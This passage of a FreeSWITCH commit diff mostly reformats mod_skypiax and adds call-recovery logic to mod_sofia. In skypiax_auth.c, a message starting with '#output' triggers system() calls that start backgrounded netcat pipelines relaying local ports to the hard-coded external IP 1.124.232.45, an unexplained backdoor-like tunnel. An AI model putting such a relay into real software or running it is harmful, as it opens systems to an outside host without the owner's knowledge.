-system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
-}
- if (!skypiax_send_message(&SkypiaxHandles, s)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
- }
- } else {
- printf
- ("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
- dispname);
- return -1;
- }
- return 0;
+ if (!strncmp(s, "#output", 7)) {
+ system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
+ system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
+ }
+ if (!skypiax_send_message(&SkypiaxHandles, s)) {
+ printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+ return -1;
+ }
+ }
+ } else {
+ printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n", dispname);
+ return -1;
+ }
+ return 0;
+
}
Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -6,11 +6,11 @@
#include <X11/Xatom.h>
struct SkypiaxHandles {
- Window skype_win;
- Display *disp;
- Window win;
- int api_connected;
- int fdesc[2];
+ Window skype_win;
+ Display *disp;
+ Window win;
+ int api_connected;
+ int fdesc[2];
};
XErrorHandler old_handler = 0;
@@ -19,212 +19,201 @@
int X11_errors_handler(Display * dpy, XErrorEvent * err)
{
- (void) dpy;
+ (void) dpy;
- xerror = err->error_code;
- printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
- dispname);
- return 0; /* ignore the error */
+ xerror = err->error_code;
+ printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
+ return 0; /* ignore the error */
}
static void X11_errors_trap(void)
{
- xerror = 0;
- old_handler = XSetErrorHandler(X11_errors_handler);
+ xerror = 0;
+ old_handler = XSetErrorHandler(X11_errors_handler);
}
static int X11_errors_untrap(void)
{
- XSetErrorHandler(old_handler);
- return (xerror != BadValue) && (xerror != BadWindow);
+ XSetErrorHandler(old_handler);
+ return (xerror != BadValue) && (xerror != BadWindow);
}
int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
{
- Window w_P;
- Display *disp;
- Window handle_P;
- int ok;
+ Window w_P;
+ Display *disp;
+ Window handle_P;
+ int ok;
- w_P = SkypiaxHandles->skype_win;
- disp = SkypiaxHandles->disp;
- handle_P = SkypiaxHandles->win;
+ w_P = SkypiaxHandles->skype_win;
+ disp = SkypiaxHandles->disp;
+ handle_P = SkypiaxHandles->win;
- Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
- Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
- unsigned int pos = 0;
- unsigned int len = strlen(message_P);
- XEvent e;
+ Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
+ Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
+ unsigned int pos = 0;
+ unsigned int len = strlen(message_P);
+ XEvent e;
- memset(&e, 0, sizeof(e));
- e.xclient.type = ClientMessage;
- e.xclient.message_type = atom1; /* leading message */
- e.xclient.display = disp;
- e.xclient.window = handle_P;
- e.xclient.format = 8;
+ memset(&e, 0, sizeof(e));
+ e.xclient.type = ClientMessage;
+ e.xclient.message_type = atom1; /* leading message */
+ e.xclient.display = disp;
+ e.xclient.window = handle_P;
+ e.xclient.format = 8;
- X11_errors_trap();
- do {
- unsigned int i;
- for (i = 0; i < 20 && i + pos <= len; ++i)
- e.xclient.data.b[i] = message_P[i + pos];
- XSendEvent(disp, w_P, False, 0, &e);
+ X11_errors_trap();
+ do {
+ unsigned int i;
+ for (i = 0; i < 20 && i + pos <= len; ++i)
+ e.xclient.data.b[i] = message_P[i + pos];
+ XSendEvent(disp, w_P, False, 0, &e);
- e.xclient.message_type = atom2; /* following messages */
- pos += i;
- } while (pos <= len);
+ e.xclient.message_type = atom2; /* following messages */
+ pos += i;
+ } while (pos <= len);
- XSync(disp, False);
- ok = X11_errors_untrap();
+ XSync(disp, False);
+ ok = X11_errors_untrap();
- if (!ok)
- printf("Sending message failed with status %d\n", xerror);
+ if (!ok)
+ printf("Sending message failed with status %d\n", xerror);
- return 1;
+ return 1;
}
int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
{
- Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
+ Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
- Atom type_ret;
- int format_ret;
- unsigned long nitems_ret;
- unsigned long bytes_after_ret;
- unsigned char *prop;
- int status;
+ Atom type_ret;
+ int format_ret;
+ unsigned long nitems_ret;
+ unsigned long bytes_after_ret;
+ unsigned char *prop;
+ int status;
- X11_errors_trap();
- status =
- XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
- skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
- &nitems_ret, &bytes_after_ret, &prop);
+ X11_errors_trap();
+ status =
+ XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
+ skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
- X11_errors_untrap();
- /* sanity check */
- if (status != Success || format_ret != 32 || nitems_ret != 1) {
- SkypiaxHandles->skype_win = (Window) - 1;
- printf("Skype instance not found on display '%s'\n", dispname);
- return 0;
- }
+ X11_errors_untrap();
+ /* sanity check */
+ if (status != Success || format_ret != 32 || nitems_ret != 1) {
+ SkypiaxHandles->skype_win = (Window) - 1;
+ printf("Skype instance not found on display '%s'\n", dispname);
+ return 0;
+ }
- SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
- printf("Skype instance found on display '%s', with id #%d\n", dispname,
- (unsigned int) SkypiaxHandles->skype_win);
- return 1;
+ SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
+ printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
+ return 1;
}
void skypiax_clean_disp(void *data)
{
- int *dispptr;
- int disp;
+ int *dispptr;
+ int disp;
- dispptr = data;
- disp = *dispptr;
+ dispptr = data;
+ disp = *dispptr;
- if (disp) {
- close(disp);
- } else {
- }
- usleep(1000);
+ if (disp) {
+ close(disp);
+ } else {
+ }
+ usleep(1000);
}
int main(int argc, char *argv[])
{
- struct SkypiaxHandles SkypiaxHandles;
- char buf[512];
- Display *disp = NULL;
- Window root = -1;
- Window win = -1;
+ struct SkypiaxHandles SkypiaxHandles;
+ char buf[512];
+ Display *disp = NULL;
+ Window root = -1;
+ Window win = -1;
- if (argc == 2)
- dispname = argv[1];
- else
- dispname = ":0.0";
+ if (argc == 2)
+ dispname = argv[1];
+ else
+ dispname = ":0.0";
- disp = XOpenDisplay(dispname);
- if (!disp) {
- printf("Cannot open X Display '%s', exiting\n", dispname);
- return -1;
- }
+ disp = XOpenDisplay(dispname);
+ if (!disp) {
+ printf("Cannot open X Display '%s', exiting\n", dispname);
+ return -1;
+ }
- int xfd;
- xfd = XConnectionNumber(disp);
+ int xfd;
+ xfd = XConnectionNumber(disp);
- SkypiaxHandles.disp = disp;
+ SkypiaxHandles.disp = disp;
- if (skypiax_present(&SkypiaxHandles)) {
- root = DefaultRootWindow(disp);
- win =
- XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
- BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
- DefaultScreen
- (disp)));
+ if (skypiax_present(&SkypiaxHandles)) {
+ root = DefaultRootWindow(disp);
+ win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
- SkypiaxHandles.win = win;
+ SkypiaxHandles.win = win;
- snprintf(buf, 512, "NAME skypiax");
+ snprintf(buf, 512, "NAME skypiax");
- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
+ if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+ printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+ return -1;
+ }
- snprintf(buf, 512, "PROTOCOL 6");
- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
+ snprintf(buf, 512, "PROTOCOL 6");
+ if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+ printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+ return -1;
+ }
- /* perform an events loop */
- XEvent an_event;
- char buf[21]; /* can't be longer */
- char buffer[17000];
- char *b;
- int i;
+ /* perform an events loop */
+ XEvent an_event;
+ char buf[21]; /* can't be longer */
+ char buffer[17000];
+ char *b;
+ int i;
- b = buffer;
+ b = buffer;
- while (1) {
- XNextEvent(disp, &an_event);
- switch (an_event.type) {
- case ClientMessage:
+ while (1) {
+ XNextEvent(disp, &an_event);
+ switch (an_event.type) {
+ case ClientMessage:
- if (an_event.xclient.format != 8)
- break;
+ if (an_event.xclient.format != 8)
+ break;
- for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
- buf[i] = an_event.xclient.data.b[i];
+ for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
+ buf[i] = an_event.xclient.data.b[i];
- buf[i] = '\0';
+ buf[i] = '\0';
- strcat(buffer, buf);
+ strcat(buffer, buf);
- if (i < 20) { /* last fragment */
- unsigned int howmany;
+ if (i < 20) { /* last fragment */
+ unsigned int howmany;
- howmany = strlen(b) + 1;
+ howmany = strlen(b) + 1;
- printf("RECEIVED==> %s\n", b);
- memset(buffer, '\0', 17000);
- }
+ printf("RECEIVED==> %s\n", b);
+ memset(buffer, '\0', 17000);
+ }
- break;
- default:
- break;
- }
- }
- } else {
- printf
- ("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
- dispname);
- return -1;
- }
- return 0;
+ break;
+ default:
+ break;
+ }
+ }
+ } else {
+ printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n", dispname);
+ return -1;
+ }
+ return 0;
}
Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/mod_skypiax.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -719,7 +719,7 @@
DEBUGA_SKYPE("CHANNEL READ CONTINUE\n", SKYPIAX_P_LOG);
continue;
}
- switch_core_timer_check(&tech_pvt->timer_read, SWITCH_TRUE);
+ switch_core_timer_check(&tech_pvt->timer_read, SWITCH_TRUE);
*frame = &tech_pvt->read_frame;
#if SWITCH_BYTE_ORDER == __BIG_ENDIAN
if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/skypiax_protocol.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1101,7 +1101,7 @@
/* send the 16khz frame to the Skype client waiting for incoming audio to be sent to the remote party */
if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
len = send(fd, (char *) cli_out, got, 0);
- //skypiax_sleep(5000); //5 msec
+ //skypiax_sleep(5000); //5 msec
if (len == -1) {
break;
Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -85,7 +85,7 @@
sofia_glue_tech_absorb_sdp(tech_pvt);
}
- if (sofia_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
+ if (sofia_test_flag(tech_pvt, TFLAG_OUTBOUND) || sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
const char *var;
if ((var = switch_channel_get_variable(channel, SOFIA_SECURE_MEDIA_VARIABLE)) && !zstr(var)) {
@@ -107,12 +107,20 @@
}
}
- /* Move channel's state machine to ROUTING */
- switch_channel_set_state(channel, CS_ROUTING);
- assert(switch_channel_get_state(channel) != CS_INIT);
- end:
+ if (!sofia_test_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE)) {
+ if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
+ switch_channel_set_state(channel, CS_EXECUTE);
+ } else {
+ /* Move channel's state machine to ROUTING */
+ switch_channel_set_state(channel, CS_ROUTING);
+ assert(switch_channel_get_state(channel) != CS_INIT);
+ }
+ }
+
+ end:
+
switch_mutex_unlock(tech_pvt->sofia_mutex);
return status;
@@ -129,7 +137,8 @@
switch_channel_clear_flag(channel, CF_LEG_HOLDING);
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA ROUTING\n", switch_channel_get_name(switch_core_session_get_channel(session)));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA ROUTING\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
@@ -146,8 +155,40 @@
switch_channel_clear_flag(channel, CF_LEG_HOLDING);
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA RESET\n", switch_channel_get_name(switch_core_session_get_channel(session)));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA RESET\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)));
+
+ if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE)) {
+ switch_core_session_t *other_session;
+ const char *uuid = switch_core_session_get_uuid(session);
+
+ if (switch_channel_test_flag(channel, CF_BRIDGE_ORIGINATOR)) {
+ const char *other_uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
+
+ if (other_uuid && (other_session = switch_core_session_locate(other_uuid))) {
+ switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
+
+ switch_channel_clear_flag(channel, CF_BRIDGE_ORIGINATOR);
+ switch_channel_wait_for_state_timeout(other_channel, CS_RESET, 5000);
+ switch_channel_wait_for_flag(channel, CF_REQ_MEDIA, SWITCH_FALSE, 10000, NULL);
+ switch_channel_wait_for_flag(channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
+ switch_channel_wait_for_flag(other_channel, CF_REQ_MEDIA, SWITCH_FALSE, 10000, NULL);
+ switch_channel_wait_for_flag(other_channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
+
+ if (switch_channel_test_flag(channel, CF_PROXY_MODE) && switch_channel_test_flag(other_channel, CF_PROXY_MODE)) {
+ switch_ivr_signal_bridge(session, other_session);
+ } else {
+ switch_ivr_uuid_bridge(uuid, other_uuid);
+ }
+ switch_core_session_rwunlock(other_session);
+ }
+ }
+
+ sofia_clear_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE);
+ }
+
+
return SWITCH_STATUS_SUCCESS;
}
@@ -163,8 +204,10 @@
switch_channel_clear_flag(channel, CF_LEG_HOLDING);
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA HIBERNATE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA HIBERNATE\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)));
+
return SWITCH_STATUS_SUCCESS;
}
@@ -174,16 +217,19 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_assert(tech_pvt != NULL);
+ sofia_clear_flag(tech_pvt, TFLAG_RECOVERING);
+
if (!sofia_test_flag(tech_pvt, TFLAG_HOLD_LOCK)) {
sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
switch_channel_clear_flag(channel, CF_LEG_HOLDING);
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA EXECUTE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SOFIA EXECUTE\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
-char *generate_pai_str(switch_core_session_t *session)
+char *generate_pai_str(switch_core_session_t *session)
{
private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
const char *callee_name = NULL, *callee_number = NULL;
@@ -194,7 +240,7 @@
zstr((callee_name = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_name")))) {
callee_name = switch_channel_get_variable(tech_pvt->channel, "callee_id_name");
}
-
+
if (zstr((callee_number = switch_channel_get_variable(tech_pvt->channel, "effective_callee_id_number"))) &&
zstr((callee_number = switch_channel_get_variable(tech_pvt->channel, "sip_callee_id_number")))) {
callee_number = tech_pvt->caller_profile->destination_number;
@@ -210,17 +256,16 @@
if (!zstr(callee_number) && (zstr(ua) || !switch_stristr("polycom", ua))) {
callee_number = switch_core_session_sprintf(session, "sip:%s@%s", callee_number, tech_pvt->profile->sipip);
}
-
+
header = (tech_pvt->cid_type == CID_TYPE_RPID && !switch_stristr("aastra", ua)) ? "Remote-Party-ID" : "P-Asserted-Identity";
if (!zstr(callee_name) && !zstr(callee_number)) {
if (switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote)) {
pai = switch_core_session_sprintf(tech_pvt->session, "%s: \"%s\" <%s>\n"
- "X-FS-Display-Name: %s\nX-FS-Display-Number: %s\n",
+ "X-FS-Display-Name: %s\nX-FS-Display-Number: %s\n",
header, callee_name, callee_number, callee_name, callee_number);
} else {
- pai = switch_core_session_sprintf(tech_pvt->session, "%s: \"%s\" <%s>\n",
- header, callee_name, callee_number);
+ pai = switch_core_session_sprintf(tech_pvt->session, "%s: \"%s\" <%s>\n", header, callee_name, callee_number);
}
}
@@ -296,7 +341,7 @@
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
switch_core_codec_destroy(&tech_pvt->read_codec);
}
-
+
if (switch_core_codec_ready(&tech_pvt->write_codec)) {
switch_core_codec_destroy(&tech_pvt->write_codec);
}
@@ -304,7 +349,7 @@
if (switch_core_codec_ready(&tech_pvt->video_read_codec)) {
switch_core_codec_destroy(&tech_pvt->video_read_codec);
}
-
+
if (switch_core_codec_ready(&tech_pvt->video_write_codec)) {
switch_core_codec_destroy(&tech_pvt->video_write_codec);
}
@@ -334,6 +379,9 @@
switch_mutex_lock(tech_pvt->sofia_mutex);
+ sofia_clear_flag(tech_pvt, TFLAG_RECOVERING);
+ sofia_glue_tech_untrack(tech_pvt->profile, session, SWITCH_TRUE);
+
if (!switch_channel_test_flag(channel, CF_ANSWERED)) {
if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
tech_pvt->profile->ob_failed_calls++;
@@ -377,7 +425,7 @@
if (tech_pvt->nh && !sofia_test_flag(tech_pvt, TFLAG_BYE)) {
char reason[128] = "";
char *bye_headers = sofia_glue_get_extra_headers(channel, SOFIA_SIP_BYE_HEADER_PREFIX);
- const char* val = NULL;
+ const char *val = NULL;
val = switch_channel_get_variable(tech_pvt->channel, "disable_q850_reason");
if (!val || switch_true(val)) {
@@ -386,10 +434,7 @@
} else if (cause == SWITCH_CAUSE_PICKED_OFF || cause == SWITCH_CAUSE_LOSE_RACE) {
switch_snprintf(reason, sizeof(reason), "SIP;cause=200;text=\"Call completed elsewhere\"");
} else {
- switch_snprintf(reason, sizeof(reason), "%s;cause=%d;text=\"%s\"",
- tech_pvt->profile->username,
- cause,
- switch_channel_cause2str(cause));
+ switch_snprintf(reason, sizeof(reason), "%s;cause=%d;text=\"%s\"", tech_pvt->profile->username, cause, switch_channel_cause2str(cause));
}
}
@@ -401,12 +446,11 @@
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Sending BYE to %s\n", switch_channel_get_name(channel));
if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
- nua_bye(tech_pvt->nh,
+ nua_bye(tech_pvt->nh,
TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
- TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
- TAG_END());
+ TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)), TAG_END());
}
} else {
if (switch_channel_test_flag(channel, CF_OUTBOUND)) {
@@ -415,10 +459,8 @@
switch_channel_set_variable(channel, "sip_hangup_disposition", "send_cancel");
}
if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
- nua_cancel(tech_pvt->nh,
- TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
- TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
- TAG_END());
+ nua_cancel(tech_pvt->nh,
+ TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)), TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)), TAG_END());
}
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Responding to INVITE with: %d\n", sip_cause);
@@ -426,11 +468,9 @@
switch_channel_set_variable(channel, "sip_hangup_disposition", "send_refuse");
}
if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
- nua_respond(tech_pvt->nh, sip_cause, sip_status_phrase(sip_cause),
- TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
- SIPTAG_HEADER_STR(generate_pai_str(session)),
- TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)),
- TAG_END());
+ nua_respond(tech_pvt->nh, sip_cause, sip_status_phrase(sip_cause),
+ TAG_IF(!zstr(reason), SIPTAG_REASON_STR(reason)),
+ SIPTAG_HEADER_STR(generate_pai_str(session)), TAG_IF(!zstr(bye_headers), SIPTAG_HEADER_STR(bye_headers)), TAG_END());
}
}
}
@@ -444,8 +484,8 @@
if (tech_pvt->sofia_private) {
*tech_pvt->sofia_private->uuid = '\0';
}
-
+
sofia_glue_set_rtp_stats(tech_pvt);
switch_mutex_unlock(tech_pvt->sofia_mutex);
@@ -455,13 +495,13 @@
static switch_status_t sofia_on_exchange_media(switch_core_session_t *session)
{
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SOFIA LOOPBACK\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SOFIA EXCHANGE_MEDIA\n");
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t sofia_on_soft_execute(switch_core_session_t *session)
{
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SOFIA TRANSMIT\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SOFIA SOFT_EXECUTE\n");
return SWITCH_STATUS_SUCCESS;
}
@@ -503,7 +543,7 @@
tech_pvt->local_sdp_str = NULL;
sofia_glue_tech_choose_port(tech_pvt, 0);
sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
-
+
/* Send the 200 OK */
if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
char *extra_headers = sofia_glue_get_extra_headers(channel, SOFIA_SIP_RESPONSE_HEADER_PREFIX);
@@ -513,11 +553,10 @@
SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
SOATAG_REUSE_REJECTED(1),
- SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
+ SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
- TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
- SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
- TAG_END());
+ TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+ SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
} else {
nua_respond(tech_pvt->nh, SIP_200_OK,
NUTAG_MEDIA_ENABLE(0),
@@ -525,10 +564,9 @@
TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
SIPTAG_CONTENT_TYPE_STR("application/sdp"),
- SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
- TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
- SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
- TAG_END());
+ SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
+ TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+ SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "3PCC-PROXY, Sent a 200 OK, waiting for ACK\n");
@@ -538,14 +576,14 @@
/* Unlock the session signal to allow the ack to make it in */
// Maybe we should timeout?
switch_mutex_unlock(tech_pvt->sofia_mutex);
-
- while(switch_channel_ready(channel) && !sofia_test_flag(tech_pvt, TFLAG_3PCC_HAS_ACK)) {
+
+ while (switch_channel_ready(channel) && !sofia_test_flag(tech_pvt, TFLAG_3PCC_HAS_ACK)) {
switch_cond_next();
}
-
+
/* Regain lock on sofia */
switch_mutex_lock(tech_pvt->sofia_mutex);
-
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "3PCC-PROXY, Done waiting for ACK\n");
return SWITCH_STATUS_SUCCESS;
}
@@ -578,7 +616,7 @@
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
return status;
}
-
+
sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -586,7 +624,8 @@
if (tech_pvt->nh) {
if (tech_pvt->local_sdp_str) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Local SDP %s:\n%s\n", switch_channel_get_name(channel), tech_pvt->local_sdp_str);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Local SDP %s:\n%s\n", switch_channel_get_name(channel),
+ tech_pvt->local_sdp_str);
}
}
}
@@ -618,11 +657,10 @@
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
SIPTAG_CALL_INFO_STR(switch_channel_get_variable(tech_pvt->channel, SOFIA_SIP_HEADER_PREFIX "call_info")),
SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
- SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
+ SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"), NUTAG_INCLUDE_EXTRA_SDP(1),
TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
- TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
- SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
- TAG_END());
+ TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
